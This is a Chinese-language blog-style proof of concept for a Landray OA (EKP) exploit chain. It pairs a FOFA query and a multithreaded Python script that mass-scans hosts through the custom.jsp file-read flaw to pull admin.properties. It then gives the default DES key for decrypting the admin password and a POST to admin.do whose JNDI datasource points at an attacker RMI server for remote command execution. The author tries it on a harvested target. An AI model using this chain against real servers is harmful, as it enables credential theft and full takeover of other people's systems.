蓝凌OA admin.do JNDI远程命令执行批量检测POC

漏洞描述

深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用漏洞获取敏感信息，读取配置文件得到密钥后访问 admin.do 即可利用JNDI远程命令执行获取权限

FOFA

app="Landray-OA系统"

漏洞过程

利用 蓝凌OA custom.jsp 任意文件读取漏洞 读取配置文件

/WEB-INF/KmssConfig/admin.properties

发送请求包

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

 

批量检测POC编写

关键是有漏洞的网站返回包里存在“passwd”的关键字，筛选出来就行了

import requests
import argparse
from colorama import init
from colorama import Fore
import threadpool

'''
深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。
攻击者可利用漏洞获取敏感信息，读取配置文件得到密钥后访问 admin.do 即可利用 JNDI远程命令执行获取权限
'''
url_list = []
init(autoreset=True)
header = {
    "User-Agent": "Go-http-client/1.1",
    "Content-Length": "64",
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept-Encoding": "gzip",
}

data = {
    "var": '{"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'
}


def get_response(url):
    response = requests.post(url=url, headers=header, data=data, timeout=5)
    if response.status_code == 200:
        response.encoding = response.apparent_encoding
        response.encoding = 'utf-8'
        return response
    else:
        pass


# def open_txt():
#     for ip in open("1.txt"):
#         ip = ip.replace('\n', '')
#         poc(url=ip)


def check_url(url):
    if url.endswith("/"):
        urls = url + "sys/ui/extend/varkind/custom.jsp"
    else:
        urls = url + '/sys/ui/extend/varkind/custom.jsp'

    try:
        results = get_response(urls).text
        if "password" in results:
            print(Fore.GREEN + "[+]存在蓝凌OA admin.do JNDI远程命令执行！！！==》\t{0}".format(url))
        else:
            print(Fore.RED + "[-]不存在蓝凌OA admin.do JNDI远程命令执行QAQ\t{0}".format(url))
    except:
        pass


# 多线程
def multithreading(url_list, pools=5):
    works = []
    for i in url_list:
        # works.append((func_params, None))
        works.append(i)
    # print(works)
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(check_url, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(usage='python3 poc.py -u http://xxxx\npython3 poc.py -f file.txt',
                                     description='蓝凌OA admin.do JNDI远程命令执行漏洞检测poc')
    p = parser.add_argument_group('参数')
    p.add_argument("-u", "--url", type=str, help="测试单条url")
    p.add_argument("-f", "--file", type=str, help="测试多条url")
    args = parser.parse_args()
    if args.url:
        check_url(args.url)
    if args.file:
        for url in open(args.file, 'r'):
            url = url.replace('\n', '')
            url_list.append(url)
        multithreading(url_list, 10)

使用方法：

用fofa爬出来后，保存为txt，结果图：

加了多线程，速度也是杠杠滴 

既然都到这了，就拿一个试试叭

漏洞复现

获取password后，使用 DES方法 解密，默认密钥为 kmssAdminKey

访问后台地址使用解密的密码登录

http://xxx.xxx.xxx.xxx/admin.do

使用工具执行命令

https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

运行工具监听端口 ping dnslog测试 命令执行 (蓝凌OA 默认使用的是 JDK 1.7)

POST /admin.do HTTP/1.1
Host: 
Cookie: JSESSIONID=90EA764774514A566C480E9726BB3D3F; Hm_lvt_9838edd365000f753ebfdc508bf832d3=1620456866; Hm_lpvt_9838edd365000f753ebfdc508bf832d3=1620459967
Content-Length: 70
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin: 
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/cbdsdg

 

第一次编写POC，欢迎指出不足